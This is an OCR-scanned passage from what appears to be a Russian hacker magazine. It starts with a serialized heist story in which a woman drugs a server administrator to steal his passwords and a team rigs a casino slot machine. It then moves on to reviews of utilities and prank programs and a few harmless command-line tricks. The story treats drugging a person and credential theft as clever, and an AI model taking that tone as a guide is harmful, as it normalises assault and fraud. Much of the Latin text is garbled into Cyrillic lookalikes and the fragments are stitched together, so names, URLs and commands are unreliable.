- Скорее борец с нею. 

- А все-таки? 

- Кто-то, кому ты нравишься. 

Анна улыбнулась. Надо же, таким способом с ней 
еще не знакомились. 

- Я тебя знаю? 

- Нет. 

- Где же я успела тебя понравиться? 

- Неважно. Я знаю, у тебя кое-какие проблемы с фи- 
зикой. Держи ответы на тесты. 

На экране в столбик появился ряд букв, которые 
нужно было вписать в предстоящем тесте по кванто- 
вой физике. Анна никогда не списывала и не делала 
шпаргалок. Поэтому сейчас совершенно не знала, 






хаос 



как отреагировать на неожиданную «помощь». 

- Спасибо, конечно, но делать это вовсе не обяза- 
тельно. 

- Ничего. Мне это не трудно. 

- А ты где сейчас? - Анна предприняла еще одну по- 
пытку узнать незнакомца. 

Курсор замер. 

-Ты задаешь много вопросов. 

- Я просто хочу узнать, с кем разговариваю. Ты ха- 
кер? 

-Да. 

Отлично! Анна как раз не могла выбрать тему для 
курсовой по психологии, и теперь ей представился 
шанс сделать интересный материал о представите- 
ле экзотической субкультуры. Ни в коем случае 
нельзя его упускать. 

- Давно этим занимаешься? 

-Чем? 

- Ну, хакерством. 

- А что? 

- Просто интересно. Всегда мечтала познакомиться 
с живым хакером. 

- Давно. 

Пауза. Анна на мгновение задумалась, но решила 
идти до конца. 

- Давай встретимся после универа? Возле кафе 
«Вудсток», здесь рядом. 

Незнакомец не отвечал. 

- Просто пообщаемся. Мне очень интересно узнать 
про то, чем ты занимаешься. 

- Я вряд ли захочу об этом говорить, - наконец отве- 
тил хакер. 

- А ты можешь показать что-нибудь из своих «фоку- 
сов»? 

- В смысле? 

- Ну, что ты можешь сделать через сеть? 

-Ты действительно хочешь знать? 

-Да! 

- Хорошо. 

Курсор потух. 

1 5 минут ничего не происходило, и Анна уже поду- 
мала, что хакер просто ушел. Вдруг совсем рядом 
раздался злой возглас. Томми с открытым ртом 
смотрел на экран, где его пират на глазах менял 
форму. Из пирата он превратился в одноглазую ру- 
салку, затем в рыбу, а еще через мгновение - в кулак 
с оттопыренным средним пальцем. 

- Что за хрень? - выругался Томми. 

Но это было только начало. Возгласы стали разда- 
ваться по всей аудитории. Экраны классных компь- 




ютеров покрывались фейерверком разноцветных 
пикселей и зависали. Из всех компьютеров нор- 
мально работали только два - админский и тот, за 
которым сидела Анна. На дисплее ее компа свети- 
лась большая, яркая надпись: «Здесь был Ріге 
бгипб». 



Марина вдохнула побольше воздуха и открыла дверь 
бара. Она нервничала. Филипп Андрес уже ждал ее за 
одним из столиков. Со скучающим видом он глазел на 
сексапильную блондинку, ужинающую вместе с хоро- 
шо одетым джентльменом. Заметив Марину, Филипп 
расплылся в улыбке и пригласил ее садиться. 

- Неплохо выглядите для туристки! - похвалил муж- 
чина. 

- Спасибо, Фил. Ну что, давай что-нибудь закажем? 
Филипп был невысокого роста, максимум 1 ,70, с за- 
лизанными волосами и испуганными глазами. Оде- 
ваться он не умел, считая, что стиль - это глупое 
словечко, придуманное для пускания пыли в глаза. 
Так что и на свидание он пришел в нелепом пиджач- 
ке и выбивающейся из брюк серой рубашке. Такие 
люди не особенно ценят социальные вещи, но ува- 
жают ум. 

Официант принял заказ и удалился. Подстроившись 
под дыхание собеседника, интимным, располагаю- 
щим голосом, Марина принялась общаться на отв- 
леченные темы. Она разбиралась во всем понемногу 
и могла поддержать разговор практически о чем 
угодно. 

Филипп рассказал, что родился в Лос-Анджелесе, 
окончил Массачусетский Университет, где учился на 
физико-математическом факультете, затем по 
приглашению переехал в Лас-Вегас. За последние 
10 лет он сменил 5 мест работы, в итоге остановил- 
ся на империи Ингрефа. Здесь ему платили больше 
всего, да и работа была интересной. 

- Я много слышала про этого Луи Ингрефа. Тебе до- 
велось с ним познакомиться лично? 

- Конечно. Это очень влиятельный, серьезный чело- 
век. Вот уж у кого я не хотел бы быть в списке врагов, 
так это у него. 

Филипп на минуту замолчал, затем поинтересовал- 
ся, что привело русскую туристку в Лас-Вегас. Ма- 
рина рассказала, как давно мечтала посмотреть на 
этот город, копила деньги, и вот, наконец, ей удалось 
добраться сюда. 

Подошел официант, принес заказ. Они принялись за 
еду. 

- Давно занимаешься компьютерами? - поинтере- 
совалась Ксайла. 

- Сколько себя помню. Не думаю, что мое компью- 
терное прошлое покажется тебе интересным. 

- Ну почему. Я тоже по-своему компьютерщица. И со 
своим ноутбуком не расстаюсь никогда. Только если 
не иду на свидание, - улыбнулась Марина. 

- Пишешь путевые заметки? 

- Можно и так сказать. Кстати, пользуясь случаем, 
хотела получить у тебя бесплатную консультацию. 

- Валяй! 

Марина спросила какую-то ерунду о компьютерах, 
которую Филипп с увлечением принялся объяснять. 
Девушке оставалось только поддакивать. 

В какой-то момент заиграла приятная музыка, и 
Ксайла предложила потанцевать. Андрес начал ло- 
маться, но Марина просто взяла его за руку и выве- 
ла на танцевальную площадку. Там уже находилось 
несколько пар. Маринка прильнула к мужчине и ста- 
ла его вести. Филипп чувствовал себя ужасно нелов- 
ко, девушка как могла поддерживала его. 





- У тебя есть какая-нибудь тайна? - в самое ушко 
прошептала она. 

Филипп растерялся. 

- Да. Это связано с работой. 

- Мне кажется, у каждого человека есть тайна. У ме- 
ня тоже есть, и она не дает мне покоя последние три 
года. 

-Ты можешь мне рассказать. 

- Тайна - на то и тайна, чтобы хранить ее в себе. Хо- 
тя это, порой, может быть сложно. 

Песня закончилась, и они вернулись за стол. Мужчи- 
на был явно заведен, всем своим видом Марина по- 
казывала, что готова к продолжению банкета в более 
интимной обстановке. 

- У меня в номере есть отличное вино 60-летней 
выдержки. Я хранил его для особого случая, кажется, 
он настал. Поехали ко мне, продегустируем? - заго- 
ворщицким тоном наконец сказал Филипп. 

Марина улыбнулась и кивнула в знак согласия. 
Администратор Л-Центра жил в 4-звездочном оте- 
ле недалеко от работы. Номер был довольно прос- 
торным и уютным, но некоторые детали выдавали в 
нем апартаменты холостяка. Разбросанная одежда, 
банки пива, не заправленная постель... Главной дос- 
топримечательностью номера был компьютер в эк- 
зотическом корпусе, с 21 -дюймовым монитором. 
Рядом с ним стоял холодильник, так что можно было, 
не вставая со стула, дотянуться до пива или чипсов. 
Филипп сразу подошел в компу, пошаманил над ним, 
и комнату заполнила тихая приятная музыка. Может, 
у него не было вкуса в одежде, но с музыкальным 
вкусом все было в порядке. 

- Ну, где твое знаменитое вино? - разувшись в при- 
хожей, спросила Марина. 

- Сейчас все будет, - админ открыл дверцу мини-ба- 
ра и достал оттуда красивую бутылку. - Вогбеаих! - 
гордо воскликнул Филипп. 

Марине достаточно было одного глотка, чтобы по- 
нять - в этом вине не больше годов выдержки, чем 
символов в мыльном пароле домохозяйки. Впрочем, 
вино было достаточно хорошим, и большинство де- 
вушек вряд ли заметили бы подвох. 

Мужчина подсел поближе и провел ладонью по ноге 
Ксайлы. 

-Ты выглядишь великолепно! 

- Спасибо, - улыбнулась Марина, но перед тем как 
админ полез приставать, спросила: 

- Помнишь, я тебе говорила про одну свою тайну? 
-Да. 

- Мне нужно с кем-то этим поделиться. 

Было видно, что мужчина особого энтузиазма к отк- 
ровениям не испытывал и хотел побыстрее перейти к 
делу. Но выразил готовность выслушать. 

- У меня была подруга, с которой мы дружили с са- 
мого детства. Вместе ходили в школу, сидели за од- 
ной партой, обсуждали самое сокровенное. Мы были 
неразлучны все время. Я была застенчивой, а Оля - 
активной. Сна принимала участие во всех школьных 
мероприятиях, дружила с мальчиками. После того 
как мы вместе поступили в институт, Оля быстро 
нашла себе пару. Его звали Антон - симпатичный, 
уверенный в себе парень, который мог легко очаро- 
вать любую девушку. Таки случилось с Олей. А потом 
и со мной. Я влюбилась в этого парня как последняя 
дура. Днем приятно проводила время со своей под- 
ругой, а вечерами обдумывала план, как увести у нее 
парня. 

Филипп со скучающим видом сидел рядом с ней, не 
понимая, зачем она все это рассказывает. 

- Так прошло несколько месяцев. Потом Оля забе- 
ременела, пожалуй, специально, чтобы женить на 
себе Антона. Небольшое давление, и мальчик поп- 
лыл. Свадьбу запланировали сыграть через месяц. Я 
не находила места, все еще надеясь завоевать это- 



го парня. Он явно проявлял ко мне интерес, но Оля 
постоянно была рядом. В общем, в самый канун 
свадьбы я поговорила с Антоном и сказала, что ре- 
бенок на самом деле не его, и Оля замужем за чело- 
веком, находящимся в психушке. Разборок не было, 
он просто от нее ушел, ничего не объясняя. С Олей 
мы дружим до сих пор, она сама воспитывает сына и 
ничего не знает о моем поступке. Я вижу, как ей тя- 
жело, и вот уже три года испытываю чувство стыда 
за тот вечер. Я никому об этом не рассказывала, 
только вот тебе. 

Марина замолчала, сделала жалостливую мордашку 
и посмотрела на офигевшего Фила. 

-Ты кажешься мне человеком, которому можно до- 
верять. Поэтому я решила доверить тебе свою тайну. 

- Э-э... спасибо за доверие. 

- Расскажи мне о своей тайне. 

- Мне не о чем рассказывать. У меня, правда, нет 
никаких тайн. 

- Ну, ты говорил, что-то связанное с работой. 

- Да не то чтобы тайна. Просто есть кое-какие кон- 
фиденциальные сведения, которые я разглашать не 
вправе. 

- Вопрос национальной безопасности? - съязвила 
Марина. 

- Нет. Просто я управляю важным сервером, через 
который проходят большие деньги. 

Они выпили еще по бокалу. Марина всем своим ви- 
дом выражала заинтересованность, и Филипп, не 
вдаваясь в подробности, рассказал о своей работе. 

- Просто удивительно, как можно держать в голове 
все эти пароли! Я едва помню свой пятизначный от 
емейл-ящика, представляю, какие они у вас длин- 
ные. 

-15 случайных символов. По правде, я их не запо- 
минаю, просто держу всегда при себе. Ну ладно, дет- 
ка. Это все, конечно, интересно, но мы ведь не за 
этим сюда пришли? 

Филипп снова провел рукой по ее бедрам и полез це- 
ловаться. 

- Погоди. Давай еще выпьем, мне нужно рассла- 
биться. 

- Окей. 

- Принеси что-нибудь на закуску. Лимоны или что- 
нибудь такое. 

- Конечно. 

Филипп пошел к холодильнику и пока копался там, 
Марина кинула две таблетки снотворного в его бо- 
кал. Мужчина вернулся с блюдцами, на одном, акку- 
ратно порезанные и посыпанные сахаром, лежали 
ломтики лимона, на втором - шоколад. 

- Угощайся. Чувствуй себя как дома. 

- Ну что, за нас? - предложила тост Ксайла. 

- За нас. 

Филипп отключился через пять минут. 

Марина обыскала его и во внутреннем кармане пид- 
жака нашла миниатюрный КПК. После включения 
игрушка запросила пароль. Марина была к этому го- 
това. Включив компьютер Андреса, она зашла на 
свой приватный РТР и скачала маленькую програм- 
мку для взлома паролей. Подключила КПК к компу, 
запустила пассворд-кракер и стала ждать. Через 
полчаса программа просигналила об успешном вы- 
полнении задачи. 

В наладоннике Филиппа царил полный беспорядок 
файлов и папок. Марине стоило большого труда 
отыскать среди кучи мусора документы, имеющие 
непосредственное отношение к работе. И в одной из 
таких папок оказался файл с паролями. 

Ксайла набрала номер дяди Леши и отправила ему 
текстовое сообщение, где находилось только одно 
слово: «дВІ 8егВ_тд9і5#е\л/». 
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Филипп жил рядом с работой и не пользовался ма- 
шиной. Поэтому Макс добирался до Л-Центра пеш- 
ком. В голове у него проносились эпизоды фильма 
«Миссия невыполнима», но Негро не ощущал себя 
Томом Крузом и всесильным спецагентом. На самом 
деле, ему чертовски хотелось плюнуть на все и вер- 
нуться в Москву. 

- Привет, Фил, - поприветствовал охранник загри- 
мированного Макса и пропустил его к контрольному 
пункту. Там Негро приставил ладонь к сенсорному 
экрану, загорелась зеленая лампочка, и на мини- 
дисплее рядом появилась фотка админа. 

Максим не был здесь ни разу, но план здания четко 
сформировался у него в голове. К тому же за его пе- 
редвижениями постоянно следили другие члены ко- 
манды и при случае могли направить в нужную сто- 
рону. 

- Фил, как там та шлюшка из Миннесоты? - вдруг 
компанейским голосом окликнул его один из охран- 
ников на входе. 

- Позвоню ей сегодня, поинтересуюсь, - ответил но- 
воявленный Филипп Андрес. 

- Я бы тоже не прочь такой поинтересоваться, - про- 
сипел усатый секьюрити, и двое других затряслись в 
приступе смеха. 

Макс прошел в главный холл Л-Центра, стараясь не 
глазеть по сторонам. 

- Я на месте, - тихо сказал он в радиопередатчик. 

- Отлично, - услышал он в наушнике голос Мемо. - 
Мы тебя видим. Следуй по коридору направо и под- 
нимайся по лестнице. 

Макс поднялся на второй этаж. Меньше всего он хо- 
тел сейчас кого-то встретить и услышать неумест- 
ные вопросы. 

- Серверная - вторая дверь направо, - раздалось в 
наушниках. Но Макс уже видел дверь с яркой над- 
писью. Рядом с ней находился еще один сенсорный 
датчик. Отпечатки Филиппа были опознаны, хакер 
вошел внутрь. 

В центре помещения, куда попал Макс, находился 
большой сервак, состоящий из нескольких многоп- 
роцессорных боксов ЫЕС. Помимо этого, здесь были 
2 РС и странная махина, напоминающая древний 
РОР. За одним из РС уже сидел админ - типичный гик 
в очках с рыжей шевелюрой. Увидев «Филиппа», он 
кивнул в знак приветствия и снова углубился в рабо- 



ту. Макс уселся за комп Андреса, пробежался паль- 
цами по клавиатуре, и когда на экране появилось 
приглашение системы, ввел пароль. Тут же загоре- 
лась надпись «РаззѵѵогсІ соггесб». 

- Ок, я в системе, - тихо проговорил он в микрофон. 

- Будь осторожен, дружище, - отозвалось в наушни- 
ках. 

Негро проверил все запущенные процессы и соеди- 
нения. На первый взгляд все было безопасно, но че- 
рез некоторое время он обнаружил тщательно скры- 
тую программу, которая отслеживала все действия 
администратора и отсылала лог-файл на неизвест- 
ный адрес. Старый добрый клавиатурный шпион с 
расширенными возможностями. Можно было, ко- 
нечно, его вырубить, но, скорее всего, в этом случае 
он подал бы знак тревоги. Поэтому Макс просто из- 
менил пути, логи теперь писались со второго компа. 
Чтобы скрипт заработал, нужно было запустить его в 
то время, когда над автоматом не задействовано ни- 
каких вычислений. Подобная активность велась все 
время, даже когда за автоматом никто не играл. Ее 
нужно было отключить на несколько секунд, но так, 
чтобы этого не заметили второй админ и Квест. Нег- 
ро достал заранее заготовленный эмулятор и пропи- 
сал его к серверу. Теперь в системе появились 2 ав- 
томата с номером 64, один из которых можно было 
на время выключить. 

Макс запустил скрипт и поставил таймер срабаты- 
вания джекпота на условленное время. Затем пере- 
запустил 64-го и удалил из системы эмулятор. За- 
дача была выполнена. Никаких сложностей, о кото- 
рых говорил дядя Леша, не возникло. На все про все 
ушло не более получаса. Это было, по меньшей мере, 
странно. 

- Все готово, - сообщил Негро в микрофон. 

- Так быстро? - на том конце послышался удивлен- 
ный возглас Лейзи. - Ну что ж, обрадуем остальных. 




Из динамиков раздавалась сонатина Бетховена. 
Квест любил классическую музыку, она помогала 
ему думать. А сейчас ему нужны были умные мысли, 
□дна норвежская зесигібу-компания выпустила но- 
вый продукт под лозунгом «ЫпсгаскаЫе». ІЧогзес Іпс. 
предлагала 1 00 тыс. долларов тому, кто сумеет найти 
уязвимость в ее секьюрном пакете. Новая достойная 
задачка для решения в свободное время. На этот раз 
система действительно была качественной, но найти 
в ней дыры для Квеста - вопрос времени. Это была 
уже четвертая ипсгаскаЫе-система на его счету. 
Хакер задумчиво гладил чашку с кофе, в этот момент 
сработала сигнализация. 

Красный маячок, мигнувший на устройстве рядом с 
монитором, говорил о том, что на игровом сервере 
что-то не так. Квест только вчера установил ХАОС, 
поэтому вполне возможно, это была ложная тревога. 
Программа реагировала на малейшие изменения в 
системе, любые подозрительные действия. И тут же 
сообщала об этом ему. 

Квест просмотрел логи с компьютера Филиппа Анд- 
реса, откуда поступил сигнал, но ничего подозри- 
тельного не увидел. Тем не менее, интуиция подска- 
зывала ему, что-то здесь не так. 

Квест решил воспользоваться маленьким жучком, 
спрятанным на обоих серверных РС. О нем никто не 
знал - эта программа в неактивном состоянии была 
совершенно незаметна, но после посланного извне 
сигнала активировалась и показывала автору все 
действия, происходящие на экране компьютера. 

На одном компьютере админ настраивал какую-то 
офисную программу. Но на втором все было намного 





интереснее. Администратор явно хотел вмешаться в 
работу сервера, хотя мотивы его пока были не ясны. 
Квест просмотрел картинку с камеры, расположен- 
ной в серверной. За своими рабочими местами тру- 
дились все те же знакомые лица, посторонних в по- 
мещении не было. 

Хакер решил пока не вмешиваться в действия Фи- 
липпа и не сообщать никому об инциденте. Он прос- 
то наблюдал. 



Казино 



Оля обаятельно улыбнулась швейцару и прошла в 
залитый светом зал. В одном ряду автоматов она за- 
метила Леона и Шейдера. Со стороны казалось, что 
оба увлеченно играют, но она знала, что мужчины 
напряжены до предела. 

Автомат под номером 64 находился в углу и, в отли- 
чие от остальных машин, давал возможности для 
скрытых маневров. Секьюрити рядом не было, самое 
время действовать. Но на расстоянии двух автома- 
тов от 64-го сидел какой-то дедуган. Нужно было 
срочно его куда-то деть. 

Оля выразительно указала Леону глазами на стари- 
ка. Мужчина кивнул. 

- Простите, - на ломаном английском обратился к 
дедугану Леон. - Вы не могли бы пересесть за другой 
автомат? Я очень проигрываю, и мне кажется, если 
сменить обстановку, ситуация перевернется. 

Дед посмотрел на Леона как на придурка. 

- Сынок, почему бы тебе самому тогда не пересесть? 

- Видите ли, у меня есть своя стратегия, и она подра- 
зумевает игру за одним автоматом. Я очень Вас про- 
шу, окажите мне услугу. 

Леон особо не надеялся на чудо и собрался уже да- 
вать старику 500 баксов отступных, но, к его удивле- 
нию, дед встал и отправился к другому ряду. 
Макендра вздохнула с облегчением. Камера находи- 
лась на высоте примерно четырех метров. Черная же- 
лезная опора была размером всего несколько санти- 
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метров, именно туда требовалось прицепить магнит- 
ный ретранслятор. Девушка оглянулась и, убедив- 
шись, что на нее никто не смотрит, достала из внут- 
реннего кармана жилетки миниатюрный инструмент в 
виде арбалета с лазерным прицелом. Направив лучик 
лазера на опору, Макендра нажала на кнопку, и уст- 
ройство выплюнуло черный пластиковый комок. Рет- 
ранслятор тут же автоматически перехватил трафик с 
камеры и пустил в ход запись последних 5 минут. 
Макендра подала знак, и за автоматом тут же 
скрылся Леон. Он ловко вскрыл крышку и за минуту 
отключил сигнализацию. Сменивший его Шейдер 
снял с блокировщика лимит на большие джекпоты. 
Все произошло в считанные минуты, никто ничего не 
заметил. Оля нажала кнопку на маленьком пульте 
д/у, магнитный полюс ретранслятора изменился, и 
он упал на ковер. Девушка его подняла и спрятала в 
кармашек. 

Оставаться в казино смысла не было, и троица уда- 
лилась так же бесшумно, как пришла. 




Лейзи пил апельсиновый сок. В наушнике он услы- 
шал, как Макс сообщил второму админу, что идет за 
кофе. На экране ноутбука была картинка его перед- 
вижения по направлению к главной двери. 

-Ты уже придумал, что скажешь секьюрити на выхо- 
де? - поинтересовался у Макса Мемо. 

- Да. Думаю, прокатит. 

Там стояла та же веселая троица во главе с усатым 
охранником. Негро открыл дверь. 

- Фил? Ты куда? - заметив его, спросил усатый. 

- Забыл дома кое-какие бумаги. Отлучусь на минут- 
ку, коллега меня подменит, - бросил он на ходу и 
поспешно ретировался. 

Увидев, что хакер покинул здание, Мемо облегченно 
вздохнул. 

- Как-то слишком все просто, - задумчиво сказал 
Лейзи. 

- Пожалуй. Но ведь еще не все закончено. 

-Ты прав, - толстяк отхлебнул очередной глоток со- 
ка и отправил в рот бутерброд с ветчиной. 

- Лейзи, можно нескромный вопрос? 

-Да? 

- Куда ты потратишь свои 1 0 миллионов? Очевидно, 
на еду? 

- Положу в банк, буду каждый месяц снимать про- 
центы. 

- Хех. Как банально. 

- У тебя более оригинальный вариант? 

- Я давно мечтал открыть свое дело. Организую 
фирму Мегпогіге ІТ Сотрапу, соберу коллектив ум- 
ных парней. Т ы, кстати, не хотел бы присоединиться? 
Мне нужен человек, который хорошо разбирается в 
телефонах. 

- Да нет, спасибо. Уже как-то привык работать сам. 
Виктор Сорокин в школе обожал математику. Школь- 
ная программа была для него слишком легкой, поэто- 
му он таскал из библиотеки учебники старших клас- 
сов и пытался сам во всем разобраться. Мир формул 
и теорем таил в себе столько загадок, что можно бы- 
ло целыми днями сидеть за их решением, Виктору это 
никогда не надоедало. Окончив школу с золотой ме- 
далью, парнишка поступил в престижный вуз на ма- 
тематический факультет и там познакомился с про- 
фессором Леонтьевым - одним из первых российс- 
ких криптографов. Имя этого человека не светилось 
на первых полосах газет, но в криптографических 
кругах он пользовался большим уважением. Алек- 
сандр Васильевич изобрел несколько оригинальных 
алгоритмов шифрования и выступал с лекциями во 
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многих российских институтах. Виктора заинтересо- 
вала область криптографии, и, благодаря профессо- 
ру, он быстро стал делать успехи. 

Леонтьева удивляло, как легко мог студент Сорокин 
запоминать большие массивы данных и сложные 
формулы. Хотя, что касается простых стихотворений, 
он едва мог разместить в мозгу пару строк. 

В институте Витя не терял времени понапрасну. Парал- 
лельно с учебой он разрабатывал свои собственные 
проекты, а после поступления в аспирантуру занимал- 
ся их реализацией. В 1 996 г. он посетил крупную кон- 
ференцию, посвященную вопросам криптографии, где 
выступил с докладом о новейших методиках шифрова- 
ния е-мейл сообщений. Лекция стала откровением для 
многих, имя Сорокина стало известным. А чтобы люди 
не путали его с сотнями других Сорокиных, парень 
выбрал себе второе имя - Меморайзер. 

В один из зимних дней, уже после окончания аспи- 
рантуры, с Виктором встретился человек, который 
представился Дмитрием. Дмитрий предложил работу 
по специальности и пообещал за нее большие день- 
ги. Мемо в то время работал в родном институте, по- 
лучая копейки. Судя по всему, работенка предстояла 
несложная и интересная, поэтому он согласился. 
Нужно было за 5 дней раскодировать текст с нео- 
бычным алгоритмом шифрования. Такого он еще не 
видел, что вызывало удивление. Тем не менее, Мемо 
справился с задачей на два дня раньше срока и по- 
лучил 20 тысяч долларов. Для молодого ученого это 
было целое состояние. 

Через месяц к нему обратился другой человек «по 
рекомендации Дмитрия». У него тоже нашлась рабо- 
та, за которую Мемо взялся. Заказы стали поступать 
регулярно, большинство исходило от Дмитрия. Вик- 
тор не знал, что это за люди, чем занимаются и за- 
чем им нужно расшифровывать эти сообщения. Уз- 
нал он об этом только два года спустя, когда в Ком- 
сомольской правде появилась большая статья об 
убийстве криминального авторитета Изота. В каче- 
стве иллюстраций к материалу давались фотогра- 
фии Дмитрия. 

Мемо пробовал отказаться от помощи преступни- 
кам, но те быстро убедили его, что для него же лучше 
будет сотрудничать. В самом деле, есть деньги, есть 
интересная задача, к тому же если не он - то будет 
кто-то другой. 

Лейзи смотрел в окно и о чем-то думал. Мемо его 
окликнул, сказав, что пора уходить. Условленным 
местом встречи был бар недалеко от казино. Имен- 
но туда направился Негро, и там должны были уже 
сидеть все остальные. 

Мемо собрал все инструменты, и они вдвоем спусти- 
лись в холл гостиницы. 

- Выезжаете? - спросил администратор. 

- Да. Пора возвращаться на родину. Как говорится, в 
гостях хорошо, а дома лучше. 

Мужчина восточной внешности одобрительно заки- 
вал и принял ключи. 

- Будете еще в Лас-Вегасе, заходите к нам! - ра- 
душно попрощался то ли японец, то ли китаец. 

- Непременно. 

Лейзи и Мемо вышли из гостиницы и сели в припар- 
кованную на стоянке машину. Зазвенел мобильник 
Лейзи. 

-Ты подключился здесь к оператору? - удивился 
Мемо. 

- Спутник, - объяснил фрикер и поднес телефон к 
уху. 

Краем уха Виктор услышал чей-то торопливый го- 
лос. Лейзи ничего не отвечал, а только слушал. В 
конце разговора цвет его лица изменился. Нажав 
отбой, Лейзи ошарашено уставился на криптографа. 

- Я навел справки об этом дяде Леше, - наконец 
сказал он. 

- И что? 

- Думаю, нам стоит драпать отсюда. Прямо сейчас. 
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добная утилита, по первому 
твоему сигналу скрывающая 
следы нецелевого использования 
рабочего компьютера от бдитель- 
ного ока начальства и чрезмерно 
любопытных коллег. Если ты ду- 
маешь, что существует много хо- 
роших программ с аналогичными 
свойствами, значит, ты просто не 
разбираешься в предмете. Увы, 
большинство утилит для «быст- 
рой маскировки» написаны начи- 
нающими программистами, а по- 
тому либо плохо продуманы, либо 
криво сделаны (а чаще всего - и 
то и другое сразу). Апіі Возз Кеу 
- одно из немногих исключений, 
которые, как известно, только 
подтверждают правило. 
Профессиональный статус 
чувствуется буквально с первых 
шагов. Например, в твою систему 
Апб Возз Кеу внедряется неза- 
метно, не предлагая по-ламерски 



украсить своей иконкой Рабочий 
стол или добавить свой пунктик в 
меню Пуск. Настройка программы 
производится из окна, вылезаю- 
щего на экран лишь при нажатии 
заданной комбинации клавиш (по 
умолчанию: “СігІ” + Процесс 
настройки в простейшем случае 
сводится к перетаскиванию наз- 
ваний приложений из одного 
списка в другой. После этого 
одобренные начальством проги 
начнут по горячей клавише (“СМ” 

+ ) вылетать на передний план, 

а «запрещенные» - линять с экра- 
на (не забывая при этом убрать 
свою кнопку с Панели задач!). И 
это только базовые функции! А 
ведь имеются еще и дополни- 
тельные, среди которых самыми, 
пожалуй, интересными являются 
функция оперативного запуска 
«обязательной» проги с автомати- 
ческим размещением ее окна на 
переднем плане и умение АпТІ 
Возз Кеу вырубать/приглушать 
звук, прятать фоновую картинку и 
подавлять дочерние окна уже 
«спрятанных» приложений. 
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И нтегрировать электронный сло- 
варь в операционную систему 
пытались многие. Но разработчики 
Вабуіоп’а уделали всех. Им удалось 
написать прогу, которая при нажатии 
на горячую клавишу выдает перевод 
любого слова, над которым остано- 
вился курсор. А если у тебя продви- 
нутая мышь, то даже клаву топтать 
не обязательно - вешаешь функцию 
перевода на среднюю кнопку хвоста- 
того/бесхвостого грызуна и начина- 
ешь получать удовольствие. Фишка 
в том, что программа ВаЬуІоп обла- 
дает встроенной системой распоз- 
навания символов, способной «про- 
читать» практически любое слово на 
экране. Ты понимаешь, что это зна- 




чит? Это значит, что ты больше не 
привязан к какому-то конкретному 
приложению! Неважно, где тебе 
встретилось непонятное слово - в 
Ворде, в Опере, в окне сообщения 
об ошибке - один клик, и ты получа- 
ешь его перевод. 

Словарные статьи ВаЬуІоп может 
таскать из инета, но исключительно 
в онлайновом режиме эту прогу юза- 
ют только придурки, не способные 
скачать с сайта софтины файл необ- 
ходимого им словаря. Кстати, поми- 
мо дополнительных словарей, к 
Вабуіоп’у можно подключить еще и 
синтезатор речи. 

На данный момент к программе вы- 
ложены словари 13 языков, причем, 
я думаю, по скриншоту нетрудно до- 
гадаться, что самые актуальные для 
нашего человека направления 
Епдіізіт-Виззіап и Виззіап-Епдіізб ре- 
ализуются без проблем. 





Хочешь увидеть свои советы в журнале? Присылай их на адрес 5кІуагоѵ@геаІ.хакер.ш. 
Ведущий рубрики Тірз&Тгіскз Иван Скляров. 



л Напечатай в командной строке или в $іагі/шп строчку поіераб /.5ЕТІІР и нажми Епіег. Это вызовет 
забавный безобидный глюк у Блокнота - когда будешь кликать по заголовку или просто по окну 
Блокнота, то под ним будут постепенно проступать нижележащие окна и рабочий стол. Может сло- 
житься впечатление, что программа зависает. Это не так - кликни второй кнопкой мыши по Блокно- 
ту в панели задач и выбери из меню пункт "Развернуть". Теперь с Блокнотом можно будет работать 
дальше. Только при этом у окна появляются два скролл-бара одновременно. 

Запусти теперь Калькулятор такой строкой: саіс /.5ЕТІІР. В нем вместо 0 в поле ввода будет 0,е+0. И 
при нажатии на клавиши с цифрами они вводиться не будут, а будут только издавать определенный 
звук. 

Проверено в ѴѴіпбоѵѵз ХР РгоТеззіопаІ, 2003 Епіегргізе Ебіііоп, 2000 РгоТеззіопаІ, МІІІеппіііт. В Мпгіоіѵз 
98 работает частично. 

Михей С. 
атгРтешіеІги 
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$ііе: 209 Кб 


ром, прога уже выдает окно «Попал- 


$іге: 4388 Кб 


м.фзойиге.сот 


ся? Это была всего лишь шутка!». К 


ши.таШуре.сот 



С вежая прога-западлянка от ПЛ 
ЗоЙѵѵаге. Имитирует процесс са- 
мостоятельной загрузки браузером 
очень-очень подозрительных файлов: 
зеіир’ов, фоток и видеороликов с 
сайтов для сексуальных меньшинств 
и извращенцев. Окно загрузки выгля- 
дит весьма реалистично, причем его 
внешний вид зависит от того, какой 
браузер у тебя дефолтный - Іпіегпеі 
Ехріогег или ІМеРзсаре Іхіаѵідаіог. Про- 
пускная способность канала связи пе- 
редается программе в качества пара- 
метра при запуске из командной 
строки. Шуточка чудная, особенно 
если учесть, что «окно загрузки» на 
нажатия «Закрыть»-«Отменить» нико- 



можно исправить путем редактирова- 
ния ЭоѵтНоах в НІЕѴѴ. Если с ассемб- 
лером ты не в ладах, не печалься. На 
днях я наткнулся на сайт 
ищшпп$ой.сот, в разделе ЕМ кото- 
рого имеются штук пять свежих за- 
падлянок. Конечно, оригинальности, 
присущей творениям ПЛ Зойѵѵаге, 
им не хватает, но этот маленький не- 
достаток они с лихвой компенсируют 
повышенной злобностью. В особен- 
ности это касается программы 
РІіскегег, которая намертво прописы- 
вается в системе и через заданное 
время начинает старательно имити- 
ровать системный глюк - проблемы 
с монитором. 
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Р едактор формул, старший 
брат дряхлого Ециабоп 
ЕсШог’а, встроенного в МісгозоГС 
0№се. Мастхэвная прога для тех 
читателей X, которые еще вынуж- 
дены корпеть над курсовыми ра- 
ботами, дипломными проектами и 
лабораторными отчетами негума- 
нитарного характера. МаФТуре 
знает вдвое больше математичес- 
ких символов и шаблонов формул, 
позволяет вводить самые попу- 
лярные из них с помощью горячих 



клавиш, разрешает настраивать 
свою панель инструментов и уме- 
ет сохранять готовые формулы в 
виде 6ІР, ЕР5 или ѴѴМР изображе- 
ний, а также передавать их в ТеХ и 
І_аТеХ. Впрочем, полный список 
различий между МаФТуре и 
Ециабоп ЕсМбог насчитывает 27 
пунктов, так что зачитывать его я, 
пожалуй, не буду. То, что 
МаФТуре - программа серьезная, 
ты, думаю, и так уже понял. А вот 
о том, что прога действительно 
удобная, говорят обсуждения на 
многочисленных форумах и нали- 
чие по адресу 

т.ту$оргота{.ги/боипІоа(іШііТуре_К 
У. гаг русификатора для ее самой 
последней версии. 
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МаіКТуре 



у ІТИ8РЕШѴ1.3 



ѴУІшІоиз 9»/Ме/М2к/ХР 

Ргееѵѵаге 

Зіге: 577 Кб 

мшреІІег.іІпІаЬ.сош 

И не известно несколько систем, спо- 
собных проверять орфографию на 
лету во время ввода текста в любом ок- 
не любого приложения. Но лишь одну 
их этих систем мне удалось заставить 
работать с русским языком (АиІоЗреІІ 
СотрІеіеСбеск, ѵш.$реІІсІіескег.сот), да и 
